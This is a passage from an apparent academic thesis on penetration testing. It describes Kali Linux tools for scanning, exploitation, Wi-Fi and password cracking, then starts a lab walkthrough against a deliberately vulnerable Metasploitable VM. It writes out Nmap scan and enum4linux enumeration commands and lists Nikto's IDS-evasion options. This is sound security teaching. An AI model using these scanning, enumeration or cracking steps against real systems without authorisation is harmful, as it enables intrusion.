interfacing. The GnackTrack support 32-bit and 64-bit hardware platforms for installation. 

Default applications include the Chromium, Firefox, Opera web browsers, Gedit text editor, 

FileZilla file transfer client, Wireshark and Zenmap network scanners, as well as the XChat IRC 

client. 

The GnacTrack OS inspired by Backtrack (which is now the Kali Linux) and the most useful 

choice for amateurs to learn and research penetration testing. [37,38] 

3.1.4 NodeZero 

NodeZero is ubuntu based Linux distribution for penetration testing which make use of 

Ubuntu repositories for Updates. It consists of more than 300 penetration testing tools as well 

as a set of basic services that are required for carrying out all sorts of operations. Also, the 

NodeZero offer THC IPV6 Attack toolkit which include tools like  

• Alive6 

• Detect-new-ip6 

• Dnsdict6 

• Dos-new-ip6 

• Fake-advertise6 

• Fake-mipv6 

• Fake-mld6 

• Fake-router6 

NodeZero is available for download as a dual-arch live DVD ISO image, and can be run on 32-

bit and 64-bit architectures. [39] 

3.2 Information Gathering Tools  

3.2.1 theHarvester 

theHarvester is a very simple tool that designed to be used in the early stages of penetration 

testing in order to understand the Customer footprint on the Internet. The objective of this 

program is to gather emails, subdomains, hosts, employee names, open ports and banners 

from different public sources liked search engines (Google, Bing, LinkedIn, etc.), PGP key 

servers and SHODAN computer database. [40,41] 
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Figure 3.5: The harvester tool on Kali Linux 

 
Figure 3.6: The main options on theHarvester tool 

3.2.2 Fping 

Fping is a small command line tool that is used to send ICMP(Internet Control Message 

Protocol) echo request to the network hosts. It is similar to ping but much higher performing 

when pinging multiple hosts. The difference from the simple ping is that the fping can define 

any number of hosts on the command line or specify a file with the list of IP addresses or host 

to ping. [42] 
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Figure 3.7: The Fping tool on Kali Linux 

 
Figure 3.8: The options of Fping tool 

3.2.3 Nmap 

The is the most useful and most important tool for a penetration tester in the Gathering 

Information phase. The Nmap, also called Network Mapper, is a free and open-source network 

scanner which is used to discover hosts and services on computer network. More specifically 

the Nmap uses raw IP packets in order to determine what hosts are up on the network, what 

services (application name and version) on these hosts are supported, what operating system 

(OS version) they are running and many other functionalities. The Nmap was designed to scan 

large network with many hosts but it also works against single host. Nmap is available for all 

operating systems Linux, Windows and Mac OS X. The Nmap suite offer in the users a graphical 

version which named Zenmap. The Zenmap have the same functionalities with the Nmap the 

only difference is that offer Graphical interface which make it easy for beginners to use it. 
[43,44,45,46] 
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Figure 3.9: The Nmap tool on Kali Linux 

 
Figure 3.10: Examples of Nmap execution 

The most well-known functionalities of this tool are the below: 

• Host discover: 

 
Figure 3.11: Nmap options for Host discovery 

• Port Scanning  

 
Figure 3.12: Nmap options for Port scanning 
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• Version Detection 

 
Figure 3.13: Nmap options for Version detection 

• OS detection 

 
Figure 3.14: Nmap options for OS detection 

• Scriptable interaction 

 
Figure 3.15: Nmap options for script scanning 

3.2.4 Dnsenum 

Dnsenum is a multithreaded perl script for DNS enumeration, which is the process of locating 

all DNS server and DNS entries for an organization. The program currently performs the 

following operations [47,48]: 

• Get the host's addresses (A record)  

• Get the namservers (threaded).  

• Get the MX record (threaded). 

• Perform AXFR queries on name servers (threaded) 

• Get extra names and subdomains via google scraping (google query = “allinurl: -

www site:domain”).  

• Brute force subdomains from file, can also perform recursion on subdomain that 

have NS records (all threaded).  

• Calculate C class domain network ranges and perform whois queries on them 

(threaded).  

• Perform reverse lookups on netranges ( C class or/and whois netranges) (threaded).  

• Write to domain_ips.txt file ip-blocks. 
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Figure 3.16: Dnsenum tool on the Kali Linux 

The usage of the tool is: 

dnsemu.pl [options] <domain> 

Options could be the following: 

Table 3.1: Available options for Dnsenume tool 
Parameter Description 

--private Show and save private IPs at the end of the file domain_ips.txt 

--subfile <file> Write all the valid subdomains to this file 

--threads <value> The number of threads that will perform different queries 

-p,--pages <value> The number of Google Search pages to process when scraping 
names, the default value is 20 pages. If the -p,--pages option is 
used then the -s switch must be specified.  

-s,--scrap <value> The maximum number of subdomains that will be scraped from 
Google 

-f,--file <file> Read subdomains from this file to perform brute force. 
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Figure 3.17: Dnsenum tool options 

3.2.5 Dnsmap 

Another tool that used by a penetration tester in order to gathering information is the 

dnsmap. DNSmap is a passive network mapper, also called a sub domain brute force tool. The 

Dnsmap tool uses the subdomain brute-forcing which is another technique that is used from 

penetration testers in the enumeration phase. This technique is especially useful to performed 

when other domain enumeration techniques are not worked. [49,50] 

 
Figure 3.18: Dnsmap tool on Kali Linux 

Dnsmap uses the primary domain that the penetration tester provides as target and then 

brute force all the sub domains by using: 

o a dictionary file that comes with this tool 

o a word list file that defined in the command line. 
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Figure 3.19: Dnsmap tool options and examples 

3.2.6 Wireshark 

Wireshark is most well-known network protocol analyzer in the world. It is used for network 

troubleshooting, analysis, software and communications protocol development, and 

education. The Wireshark is available for all the operating systems (Linux, Windows , MacOS 

etc). The Wireshark allow the user to put network interface controllers (network adapter) into 

promiscuous mode (monitor mode) so they can capture all the traffic visible on that interface 

including unicast traffic not sent to that network interface controller’s MAC address. [51] 

 
Figure 3.20: Wireshark main screen 

This tool has many features set which including in the following list: 

o Deep inspection of hundreds of protocols 

o Live capture and offline analyzer 

o Standard three-pane packet browser 

o Captured network data can be displayed via Graphical user interface 

o Display filters in order to filter the captured packets. 

o Capture files compressed with gzip can be decompressed on the fly  

o Can capture data from Ethernet, IEEE 802.11, PPP/HDLC, ATM, Bluetooth, USB, 

Token Ring, Frame Relay, FDDI etc 

https://en.wikipedia.org/wiki/Computer_network
https://en.wikipedia.org/wiki/Communications_protocol
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o Decryption functionality for many protocols such as IPsec, ISAKMP, Kerberos, 

SNMPv3, SSL/TLS, WEP and WPA/WPA2. 

 
Figure 3.21: Packet capturing for the network with Wireshark 

3.3 Exploitation Tools  

3.3.1 BeEF 

Browser Exploitation Framework also called BeEF is a penetration testing tool that focuses on 

the web browser. This tool uses GitHub to track issues and hosts its git repository. The BeEF 

support two Operating Systems Mac OSX 10.5.0 or higher/modern Linux. Unfortunately, 

Windows is not supported from BeEF. [52,53,54] 

 
Figure 3.22: BeEF tool on the Kali Linux 

BeEF is the best suited for checking a web browser and is adapted for preventing web-borne 

attacks and could be advantage for mobile clients. The main objective of this tool is to explore 

weaknesses beyond the client system and network perimeter. BeEF help the professional 
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penetration tester to assess the actual security posture of a target system by using client-side 

attack vectors. Against on other security frameworks BeEF check the network perimeter and 

client system as mentioned above and examines exploitability within the context of the open 

door the web browser. [52,53,54] 

 
Figure 3.23: Launch the BeEF service 

 
Figure 3.24: BeEF Login page 
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Figure 3.25: BeEF main screen 

3.3.2 Metasploit Framework  

Metasploit is the most useful and important tool for a penetration tester. This tool is preferred 

by both cybersecurity professionals and certified penetration testers. The Metasploit Project 

is a security project that provides information about security vulnerabilities and helps the 

penetration testing and IDS signature development. It is a tool that enables a tester to find, 

exploit and validate vulnerabilities. More specific is a tool for developing and executing exploit 

code against a remote target machine. [55] 

The basic step a pen tester follows to exploit a system through the Metasploit Framework are: 

1. Check if the target system is vulnerable to an exploit  

2. Choosing and configuring an exploit (The code that enters a target system by taking 

advantage of one of its bugs. The Metasploit include 1894 different exploits for 

Windows, Linux and Mac OSX systems) 

3. Choosing and configuring a payload (the code that will be executed on the target 

system upon successfully entry) 

4. Choosing the encoding technique in order to avoid bad characters (e.g., 0x00) on 

hexadecimal opcodes. 

5. Executing the exploit. 

The Metasploit Framework currently contain over 1894 exploits which organized under the 

following platforms AIX, Android, PHP, nodejs, Unix, Ruby, Solaris, R, Python, Windows etc. As 

I mentioned the penetration tester define the payload that will be executed on the target 

system. The Metasploit currently contains over 547 payloads which divided into the below 

categories[55]: 

• Command Shell: enable testers to run scripts or run commands against the host 

• Meterpreter: Also called Metasploit interpreter which enable testers to control the 

screen of a device using VNC and to browse, upload and download files. 

• Dynamic payloads: enable testers to evade antivirus defense by generating unique 

payloads 

• Static Payloads: enable static IP address/port forwarding for communication 

between the host and the client system. 

https://en.wikipedia.org/wiki/Computer_security
https://en.wikipedia.org/wiki/Vulnerability_(computer_science)
https://en.wikipedia.org/wiki/Penetration_testing
https://en.wikipedia.org/wiki/Intrusion-detection_system
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The below graph describes the architecture schema of Metasploit Framework. [56] 

 
Figure 3.26: Metasploit Framework architecture schema [56] 

The basic concepts and commands for Metasploit Framework are: 

Msfvenom: With this command the penetration tester can create directly payloads and 

encoders from the terminal. This way is faster than msfconsole needs the exact instruction to 

generate a correct result. In order to run the msfvenom the tester should run type msfvenom 

on a terminal line as super user. [56]  

Also, in order to display the list of all the available payloads the tester should ran the command 

msfvenom -l payload  

Msfconsole : This is the most useful interface for beginners since information ,options and 

settings are available for each module. In order to start this interface, the penetration tester 

should run the command msfconsole from a terminal line which opened as super user(root). 

This interface contains the below commands[56]: 

• Help: Display help of a certain exploit, payload or another module 

• Check: Verify if a target allows exploiting a specific vulnerability  

• Exploit/Run: To execute an exploit which already configured. 

• Show: See a list of different modules (exploit, payloads etc) 

• Info: View options, targets and extra information of a module or exploit selected. 

• Set: Configure an option for an exploit or payload 

• Unset: Delete the configuration of an option 

• Search: Looking for a specific module by name 

• Use: Define the exploit or module to be used in the console. 
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Figure 3.27: Metasploit Framework on Kali Linux 

 

Figure 3.28: Launch Metasploit Framework 
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Figure 3.29: List of payloads on Metasploit Framework 

 
Figure 3.30: List of encoders on Metasploit Framework 

 
Figure 3.31: List of exploits on Metasploit Framework 
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Figure 3.32: List of the nops on Metasploit Framework 

3.3.3 Sqlmap 

Sqlmap is an open-source tool that automates the process of detecting and exploiting SQL 

injection flaws. With the term SQL Injection, we refer to the most famous type of attack that 

injected malicious SQL code for backend database in order to manipulate the backend 

database and access information that did not intent to display. This tool contains a powerful 

detection engine, many features for the penetration tester and a broad range of switches 

lasting from database fingerprinting, over data fetching from the database, o accessing the 

underlying file system and executing commands on the operating system via out-of-band 

connections. [57,58] 

Sqlmap is a python-based tool, which mean that it will usually run on any system that have 

installed python. Python comes already installed in Linux operating systems. 

The basic features of the Sqlmap are the following [57,58]: 

• Support many database management systems such as MySQL, Oracle, PostgreSQL, 

SQLite, IBM DB2,Microsoft SQL Server, Microsoft Access etc. 

• Support six SQL injection techniques 

o Boolean-based blind  

o Time-based blind 

o Error-based 

o UNION query 

o Stacked queries 

o Out-of-band  

• Support to directly connect to the database without passing via a SQL injection, by 

providing DBMS credentials, IP address, port and database name. 

• Helps to discover users, passwords hashes, privileges, roles, databases, tables and 

columns. 

• Automatic recognition of password hash formats and support cracking them by 

dictionary-based attack 

• Help to dump database tables, range of entries or specific columns as per user 

choice. 

• Help to search for specific databases names, specific tables across all database or 

specific columns across all databases tables. 

• Allow to download and upload any file from the database server underlying file 

system when the database software is MySQL, PostgreSQL or Microsoft SQL Server. 
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Figure 3.33: Sqlmap on Kali Linux 

 
Figure 3.34: Sqlmap options 

3.4 Vulnerability Analysis 

3.4.1 OpenVAS 

OpenVAS is a powerful vulnerability scanning and vulnerability management tool. This tool is 

suitable for organizations as support large-scale scans. The capabilities for this tool include 

unauthenticated testing, authenticated testing, various high level and low-level Internet and 

industrial protocols, performance tuning for large-scale scans and a powerful internal 

programming language to implement any type of vulnerability test. More specific this tool 

helps the penetration testers to finding vulnerabilities not only in the web applications or web 

servers but also in databases, operating systems, networks and virtual machines. OpenVAS 

tool updated in daily based. [59,60,62] 

The structure of the OpenVAS is described in the below graph: 
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Figure 3.35: OpenVAS structure [59] 

3.4.2 Nessus 

Nessus is one of the most well-known vulnerability scanners globally and is used during 

vulnerability assessment phase on penetration testing procedure. This tool is sold by Tenable 

Security Company and is available on three platforms Mac, Windows and Linux. The Nessus 

tool is free for non-enterprise use but for enterprise consumption is paid. 

In simple words the Nessus is a remote security scanning tool which scans a computer and 

raises an alert if it discovers any vulnerabilities that malicious hackers could use to gain access 

to any computer you have connected to a network. It does this by running over 1200 checks 

on a given computer, testing to see if any of these attacks could be used to break into the 

computer or otherwise harm it. [61,63,64,65] 

Examples of vulnerabilities and exposures Nessus can scan for include: 

➢ Vulnerabilities that could allow unauthorized control or access to sensitive data on 

a system  

➢ Misconfiguration(For example default passwords on Apache service, missing 

patches etc.)   

➢ Default passwords, a few common passwords, and blank/absent passwords on 

some system accounts. 

➢ Denials of service vulnerabilities 

The Nessus has many advantages over other vulnerabilities scanners which make the Nessus 

the best option for scanning vulnerabilities. Some of these advantages are the below:  

✓ Unlike other scanners, Nessus does not make assumptions about your server 

configuration (such as all other vulnerabilities scanners assuming that port 80 must 

be run only web server) that can cause other scanners to miss real vulnerabilities. 

✓ Up to date information about new vulnerabilities and attacks.  The Nessus team 

updates the list on a daily basis in order to minimize the window between an exploit 

appearing in the wild, and penetration tester is being able to detect it with Nessus. 

✓ The Nessus is Open-source and allow to modify the source as the penetration tester 

wish. 

https://en.wikipedia.org/wiki/Default_password
https://en.wikipedia.org/wiki/Password
https://en.wikipedia.org/wiki/Denial-of-service_attack
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✓ Patching Assistance: When the Nessus discover a vulnerability in the system, it is 

also most often able to suggest the best way to mitigate this vulnerability  

 
Figure 3.36: Nessus tool on Kali Linux 

 
Figure 3.37: Launch Nessus service 

 
Figure 3.38: Nessus Login page 
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Figure 3.39: Nessus main screen 

3.5 Wireless Attacks tools  

3.5.1 Aircrack-ng 

Aircrack-ng is a network software suite which consist of a detector, packet sniffer, WEP and 

WPA cracking tool for 802.11 wireless LANs. It works with any wireless network interface 

adapter whose driver supports the monitor mode. The whole suite is often used by the 

penetration testers and focuses on different areas of WiFi security such as [66,67]: 

❖ Monitoring – Packet capture and export data from these packets in order to analyze 

them  

❖ Attacking – Replay attacks, deauthentication attack, fake access point etc. 

❖ Testing – Checking network adapter  

❖ Cracking – The suite can crack network with WEP and WPA PSK encryption  

This suite is pre-installed on the Kali Linux Operating system which is most common for the 

penetration testers.  
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Figure 3.40: Aircrack on the Kali Linux 

Aircrack-ng suite includes the below tools [66,67]: 

❖ Airbase-ng – tool with many purpose which aimed at attacking clients instead of 

Access point(AP) 

❖ Aircrack-ng – tool that help to crack the 802.11 WEP and WPA/WPA2-PSK key 

❖ Airdecap-ng – tool to decrypt WEP/WPA/WPA2 capture files 

❖ Airdrop-ng – A rule based wireless deauthication tool 

❖ Aireplay-ng – Inject and replay wireless packets 

❖ Airgraph-ng – Graph wireless network 

❖ Airmon-ng – Enable or disable monitor mode for wireless adapter 

❖ Airodump-ng – tool that capture 802.11 frames 

 
Figure 3.41: Aircrack Options 

3.5.2 Kismet 

Kismet is an 802.11 wireless network detector, packet sniffer and intrusion detection system. 

It works with any wireless adapter which support monitor mode. This tool is passively 

collecting packets and detecting standard named networks, also detecting hidden networks 

as opposed to other tools, and presence of no beaconing networks via data traffic. [68,69] 
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Some of the Kismet Features are[68,69]: 

❖ 802.11 sniffing 

❖ Standard PCAP logging (compatible with Wireshark, TCPDump, etc) 

❖ Client/Server modular architecture 

❖ Plug-in architecture to expand core features 

❖ Multiple capture source support 

❖ Live export of packets to other tools via tun/tap virtual interfaces 

❖ Distributed remote sniffing via light-weight remote capture 

❖ XML output for integration with other tools 

 
Figure 3.42: Kismet on Kali Linux 

 
Figure 3.43: Launch Kismet service 
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Figure 3.44: Kismet main screen on web browser 

3.5.3 Reaver 

The Reaver tool is used from the penetration tester in order to implements a brute force 

attack against WiFi protected setup (WPS) register PINs and recover WPA/WP2 passphrase. 

Depending on the target’s Access Point (AP), the tool needs between 4 to 10 hours to recover 

the WPA/WPA2 passphrase in plaintext format with the brute force method. Depending on 

the target’s Access Point (AP), with the transitional online brute force method needs between 

4 to 10 hours to recover the WPA/WPA2 passphrase in plaintext format but with the Reavel 

tool this time period is reduced on the half in order to guess the correct WPS pin and recover 

the passphrase. Furthermore, when the penetration tester use offline attack and the AP is 

vulnerable the tool maybe need only some seconds to guess the WPS pin. [70] 

 
Figure 3.45: Reaver tool on Kali Linux 
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Figure 3.46: Parameters for Reaver tool 

3.6 Web Applications Tools 

3.6.1 DirBuster 

Dirbuster is a multi-threaded Java application which was designed to brute force directories 

and files names on web/Application server. More specifically this tool helps the penetration 

testers to find all the directories or files on the web server. including those that are hidden. 

This tool is not be able to exploit something that they found because this is not the purpose 

of this tool. 

Dirbuster include 9 different lists which make it extremely effective at finding these hidden 

files and directories. Moreover, this tool is used by developers in order to help them increase 

the security of applications. [71,72,73] 

 
Figure 3.47: Dibuster on Kali Linux 
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Figure 3.48: Dibuster main screen 

3.6.2 Nikto 

Nikto is a free open-source vulnerability scanner that scan the web server in order to find 

vulnerabilities such as files/CGIs, outdated server software etc. This tool performs generic and 

server type specific check and also capture and print any cookie that have received. Nikto 

includes checks for over 6700 potentially dangerous files/programs, checks for outdated 

version of over 1250 server and version specific problems on over 270 servers. [74,75,76] 

During web app scanning, different scenarios might be encountered. Nikto supports a wide 

variety of options that can be implemented during such situations. The following options are 

included in the Nikto[75]: 

✓ -Cgidirs: This option is used to scan specified CGI directories. Nikto users can select 

to scan all CGI directory such as /cgi-test/ or none of them. If this option is not 

specified from the user in the command, then all CGI directories will be tested. The 

list of CGI directories is contained in the file config.txt. 

✓ -config: This option allows the penetration tester to specify an custom config file to 

use instead of the config.txt which is the default  

✓ -Dislplay: This option helps the penetration tester to control the output that Nikto 

shows. In order to determine the output, the nikto allow some reference number 

such as: 

Table 3.2: Reference numbers for parameter display on nikto tool 

Reference Number Description 

1 show redirects 

2 Show cookies that received 

3 show all 200/ok responses 

4 Show URLs which require 
authentication 
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✓ -evasion: This option allows penetration tester to specify the intrusion detection 

system evasion technique to use. Similar to before the tester should use a reference 

number with this option and specify the type of technique. 

Table 3.3: Reference numbers for parameter evasion on nikto tool 

Reference Number Description 

1 Random URI encoding 

2 Directory self-reference  

3 Premature URL ending 

4 Prepend long random string 

5 Fake parameter 

6 TAB as request spacer 

7 Change the case of the URL 

8 Use Windows directory seperator 

✓ -Format:  The penetration tester with this option can choose in which format can 

save the results of Nikto Scan. In order to use the option -format, they should also 

used the -o(-output). Valid formats for the output are csv, html ,txt and xml. 

✓ -host: This option is used only to specify the host to target. It can be and IP address, 

hostname as well as text file of hosts. 

✓ -id: If the website require authentication this option is suitable as it allows the 

penetration tester to specify the ID and password to use. 

✓ -no404: This option is very useful as it disables 404 (File not found) checking. If the 

penetration tester uses this option the number of requests is reduced and the 

checking is faster. Therefore, this option could lead to more false positive being 

discovered. 

✓ -port:  The port option specifies the TCP ports to target. The penetration tester can 

use a range of port (e.g. 70-80) or can use comma-delimited list (e.g. 80,88,22 etc.). 

 
Figure 3.49: Nikto on Kali Linux 
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Figure 3.50: Parameters for Nikto tool 

3.6.3 Burp Suite 

Burp Suite is one of the most popular penetration testing and vulnerability finder tools and is 

often used for checking web application security. The main features of Burp Suite is its ability 

to intercept HTTP requests. Usually, the HTTP requests are created from the web browser and 

forwarding to a web server and the web server send the response to the web browser. But, 

when a penetration tester use the Burp Suite the HTTP requests go from the browser straight 

to Burp Suite, which intercepts the traffic. Then in the Burp Suite, the tester can alter the HTTP 

request with various way before forwarding the request on the web server.  This mean that 

the Burp Suite acts as a proxy server, also called man in the middle between the browser and 

the web application. This help the penetration tester to have finer control over the exact 

traffic he is sending and receiving. [77,78] 

 
Figure 3.51: Burp Suite on Kali Linux 
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Figure 3.52: Burp Suite main screen 

3.6.4 w3af 

w3af (Web Application Attack and Audit Framework) is an open-source web application 

security scanner. This tool is used by penetration tester in order discover vulnerabilities in 

web application and exploit them. W3af offer a graphical user interface (GUI) which is user 

friendly environment but also offer a command-line interface(w3af-console).   

The w3af is divided into two main parts the core and the plug-ins. The core part is responsible 

for the process and provide features through plug-ins, which find the vulnerabilities and 

exploit them. The w3af core and its plug-ins are fully written in Python. The plug-ins can be 

categorized as Discover, Audit, Grep, Attack, Output, Mangle, Evasion or brute force. W3af 

contain more than 130 plugins, which identify and exploit SQL injection, XSS (Cross site 

scripting), remote file inclusion (FLI) etc. [79,80] 

3.7 Password Attacks Tools 

3.7.1 Crunch 

Many times, the penetration testers in order to crack passwords they execute a dictionary 

attack. In this attack the penetration tester uses a default list of passwords or a custom list in 

order to crack the password. A tool that helps the penetration testers to create these custom 

lists with passwords is the Crunch. More specific the Crunch is a wordlist generator where the 

penetration tester can specify some rules in order to create the list. Crunch can generate all 

possible combinations and permutations. [81,82,83] 

The main features of this tool are: 

• generate wordlist in both combination and permutation way 

• can split the output by number of lines or file size 

• the pattern can be number and symbols  

• the pattern can be upper- and lower-case characters  

• Unicode supported 

https://tools.kali.org/password-attacks/crunch
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Figure 3.53: Crunch tool on Kali Linux 

 
Figure 3.54: Information and example for Crunch tool 

3.7.2 Hydra 

Another useful tool for penetration testers in the password attacks is the Hydra. Hydra is a 

parallelized login cracker which support many protocols to attack. It is very fast and flexible. 

This tool helps the researches and security consultants to find how easy it would be to gain 

unauthorized access to a system remotely. 

Hydra is using two different approaches in order to generate and find possible passwords. The 

first one is the wordlist attack (Dictionary attack) and the second one is the brute force attack  

In addition, Hydra support many common login protocols such as IMAP, HTTP(S)-FORM-GET, 

HTTP(S)-FORM-POST, HTTP(S)-GET, HTTP(S)-HEAD, HTTP-Proxy, ICQ, SMTP, Telnet, FTP, Cisco 

AAA, Cisco auth, Cisco enable. [84,85,86] 
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Figure 3.55: Hydra tool on Kali Linux 

 
Figure 3.56: Parameters and examples for Hydra tool 

3.7.3 John the Ripper 

Another tool that penetration testers used in order to crack the passwords is the John the 

Ripper. More specific is a free password cracking software tool originally produced for UNIX-

based system, it can run on many different platforms such as Unix, DOS, Win32 etc.).It was 

designed to test password strength ,brute force encrypted(hashed) passwords, and crack 

passwords via dictionary attacks. [87,88,89] 

This password cracker and cryptanalysis tools works in three different ways and depends on 

the ways that try to guess the password. More specifically, these three ways are[87]: 

1. Dictionary Attack: In this type the tool tries passwords provided in pre-defined list 

of large number of possible passwords (words, phrases etc.). The tool enters every 

password which defined on the pre-defined list in the application in order to try to 

find the correct one. 
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2. Brute-force Attack: In order to run this type of attack the user should configure 

some settings, for example the maximum and the minimum length of the possible 

password and what type of characters are consisting.  

3. Rainbow tables: Many applications usually do not store passwords in plaintext but 

they store their fixed-length hashes. This makes the rainbow tables efficient way to 

attack. In this case a pre-computed list of password hashes is compared against an 

existing data dump to find the correct password in the plaintext form. The rainbow 

tables is faster solution than brute-forcing as the hashed data is precalculated and 

stored in this format. 

 
Figure 3.57: John the Ripper on Kali Linux 

 
Figure 3.58: Parameters for John the Ripper tool 

3.7.4 Ophcrack 

Ophcrack is another cracker tool that used by a penetration tester in order to crack the 

password on an application. It is a free Windows tool based on rainbow tables and comes with 

Graphical User Interface. Some of the features of this tool [90,91]: 
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• Cracks LM and NLTM hashes 

• Free tables available for Windows XP and Vista/7 

• Brute-force module for simple passwords 

• Audit mode and CSV export 

• Real-time graphs to analyze the passwords 

• Free and open-source software 

• Loads hashes from encrypted SAM recovered from a Windows partition 

 
Figure 3.59: Ophcrack tool on Kali Linux 

 

Figure 3.60: Ophcrack tool main screen 
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4. Use Cases of Penetration Testing 

In this section, we will execute some cases of penetration testing in order to present the all 

phases that is performed on the penetration testing. In order to perform the below use cases, 

we used the following equipment: 

• A laptop with Kali Linux operating system as we needed all the pre-installed tools 

and tools that we created. 

• A network adapter that can operate on monitor mode. In the following use cases 

we used the Alpha’s network adapter with model id AWUS036ACH. This network 

adapter has the chipset RTL8812AU. 

• A Virtual Machine with operating system Metasploitable. This machine is an 

intentionally vulnerable Linux virtual machine that is used for the training on 

security section, for testing security tools and for practicing common penetration 

testing techniques. 

• A raspberry pi machine that host a custom vulnerable web site and a machine with 

Windows XP which are vulnerable as it is out of support from Microsoft. 

4.1 Use Case with Metasploitable 

First of all, we have created the virtual machine with the Metasploitable operating system. 

The software that we used for the virtual machines is the Virtual Box. 

 
Figure 4.1: VirtualBox -Configuration Metasploitable VM 

The home screen of the Metasploitable machine is a terminal that can execute all the Linux 

commands. The default username and password is msfadmin:msfadmin.In our case we have 

connected the Metasploitable on the network with the option Bridged Network in order to 

use the network adapter ALPHA  AWUS036ACH.  
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Figure 4.2: Metasploitable main screen 

Then in order to identify the ip that have the metasploitable machine we ran the command 

ifconfig. 

 
Figure 4.3: IP address of Metasploitable 

From the above printscreen, we were concluded that the Metasploit use 192.168.1.19 IP. 

Of course, these information are not known from the penetration tester. A penetration tester 

will follow the below phases in order to discover, identify and exploit vulnerabilities for the 

specific machine. 
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4.1.1 Phase A: Engagement 

As we mentioned above in this phase the penetration tester agrees all the details about the 

penetration testing with the company. In our case let suppose that the company wants to 

examine the weakest link in its network, which is the target machine. Finally, we assume that 

the company has agreed to the terms of the penetration testing which are summarized below: 

Table 4.1: Rules of Engagement (ROE) for the first case 
Rules of Engagement (ROE). 

Type of Penetration Testing Internal Testing 

Project Schedule Deadline in 2 days 

Scope  

Testing Tools  Nmap,Nessus,Metasploit,Dirbuster,enum4linux,sqlmap,john 
the ripper 

Termination of Testing  If the penetration tester is not able to gain access to target 
machine in accordance with the scope, the testing will cease. 
If the penetration tester is able to gain access the whole 
process should documented and provide the supporting 
evidence. 

Reporting The final report should be delivered within 5 days of the 
completion of the test. 

4.1.2 Phase B & C: Information Gathering & Footprinting and Scanning 

Once the legal paperwork was completed the penetration tester can start the phases 

Information Gathering & Footprintint and Scanning. As penetration tester we executed 

internal penetration testing. For this reason, we knew many general information regarding 

the type of business, assets, products, services etc. If another type of penetration test is 

performed, we maybe should gather all this related information about the company. When 

we have collected all the important information about the company in order to understand 

the structure of the company and its main points, we can start finding more information about 

the in-scope servers and services. 

First of all, as we agreed with the company to examine only the weakest machine, we should 

detect open ports, identify services, operating system that are used by the target machine. 

The best option to gather this information is the Nmap which is most famous tool on 

penetration testing. 

Because the type of the penetration testing is internal testing, we already connected to the 

company network so we had IP from the internal network. In order to found our IP, we ran 

the command ifconfig in the Kali Linux machine. The output of ifconfig command is the below: 
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Figure 4.4: IP address of Kali Machine 

From the above print screen, we can presume that the Kali Linux machine have the IP 

192.168.1.15 as we use wireless network adapter (wlan0 interface). Then my first step is to 

find all the machines that are connected on this specific network with the Nmap tool.  

 
Figure 4.5: Hosts that exist on the network 

The Nmap command that we executed is: 

 Nmap -sn 192.168.1.0/24 
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With the above command we ran a ping scan in order to discover all the host which are 

connected on the network without port scan. In our target network we have found that 12 

hosts were connected on the company network. As the company wants to examine only one 

machine, we focused on the machine with IP 192.168.1.19. Then we tried to detect the open, 

closed and filtered ports on target machine. In order to achieve this we used the command 

nmap -sS  192.168.1.19 (TCP SYN Scan). SYN Scan is the most popular type of scan as it can 

both performed quickly and, is not as obtrusive as other types of scans because does not open 

a full TCP connection, also referred as half-open scanning. 

 
Figure 4.6: Port scan with Nmap on Metasploitable machine 

 
Figure 4.7: Identify number of open ports with the grep command 

As we see from the above screenshots the target machine have 23 open ports and the most 

common are 80 – http ,3306 – mysql ,22 – ssh ,23 – telnet etc . Then we used another 

command on the nmap tool in order to identify the operating system on the target machine. 

The command that we executed is:  nmap -O 192.168.1.19 and the results are displayed on 

the below printscreen.Our target machine run Linux 2.6.X operating system and more 

specifically is Linux 2.6.9 – 2.6.33 version. 
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Figure 4.8: Operating System detection for Metasploitable Machine 

So far, we have discovered all the alive hosts on the company’s network, the open ports for 

our target machine and the operating system. This mean that the next step of this phase is to 

identify which services are running on these ports. This is a very important step simply because 

it allows us to narrow down our attack surface and give us the last bit of information necessary 

to begin researching potential exploits on the target systems. There are different techniques 

that used in order to identify the services which are running. The Nmap tool probs the remote 

services, parses the responses, and then attempts to verify if there is a match within its 

signature database to the parsed data. By querying the services and analyzing the responses, 

Nmap is able to determine the service protocol, the application name and the version number. 

The Nmap command in order to run service detection on our target machine is: nmap -sV -n 

192.168.1.19. 
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Figure 4.9: Version Detection for Metasploitable Machine 

As you can see in the previous output, our target machine has plenty of services are running 

on the open ports. The most useful services that we were focused on this penetration testing 

are: 

Table 4.2: Open ports-services and versions for the Metasploitable Machine 

Port Service Version 

21 ftp Vsftpd 2.3.4 

22 ssh OpenSSH 4.7p1 Debian 

23 telnet Linux telnetd 

80 http Apache httpd 2.2.8 

445 netbios-ssn Samba smbd 3.X-4.X 

As we gathered all the interesting services and the versions of each one, we collected more 

information about these services. More specifically, from the above we were found out that 

the server has web application that are accessible through the port 80 and the http service. 

From my attack machine (Kali Linux machine), we were identified this web application through 

the browser with URL the IP of the target machine. 
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Figure 4.10: The main page of web application on Metasploitable Machine 

As we have found that the target machine is hosting a web application, we should search for 

potentially sensitive information that the developers failed to hide and that may help us 

exploit the system. In order to collect this sensitive information, we used the tool DirBuster 

which help us to identify resources that were hidden from regular users’ sight. We are set the 

DirBuster as shown in the following print screen: 

 
Figure 4.11: Dirbuster tool configuration for Metasploitable Machine 
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Figure 4.12: Results of Dirbuster tool 

From the results that we received from the Dirbuster we came to the following conclusions: 

Table 4.3: Interesting files from Dirbuster results for the first case 
File or Directory Comment 

Robots.txt file  The robots file is common on web applications. This file informs 
web crawlers (automated web browsing tools) about which 
paths of the applications should not be indexed to be included 
in search engine results. 

Passwords directory This directory maybe contains the usernames and passwords for 
user accounts. 

Phpinfo.php This file include all the information about the PHP server 
configuration 

This information should be evaluated and used in the next phase “Exploitation” to determine 

if they can lead to unauthorized access to the server. 

Moreover, we used the enum4linux tool in order to verify if the server was vulnerable to null 

session and gather the following information: 

• Shares 

• Users 

• Password Policies 

• Groups 
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Figure 4.13: Results from enum4linux tool 

As you can see the File Server Service is active due to the string <20> appears in the list. Then 

with the command enum4linux -a 192.168.1.19 we extracted all the information that 

mentioned above: 

Share folders that are accessible through the null session: 

 
Figure 4.14: The share folders that are available on target machine 

The users that are existed on the machine: 
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Figure 4.15: The users that exists on the target machine 

The password policy that is used on the machine: 

 
Figure 4.16: The password policy on Metasploitable Machine 

This information could be useful in the following phases because if we perform an online 

password cracking, we should know the minimum password length, the duration that an 

account is locked etc. 

4.1.3 Phase D: Vulnerability Assessment 

The next phase in the penetration testing is the Vulnerability Assessment where the 

penetration tester tries to find any known possible vulnerabilities existing in each target 

system. In our case we used the Nessus tool in order to found  all the possible vulnerabilities 

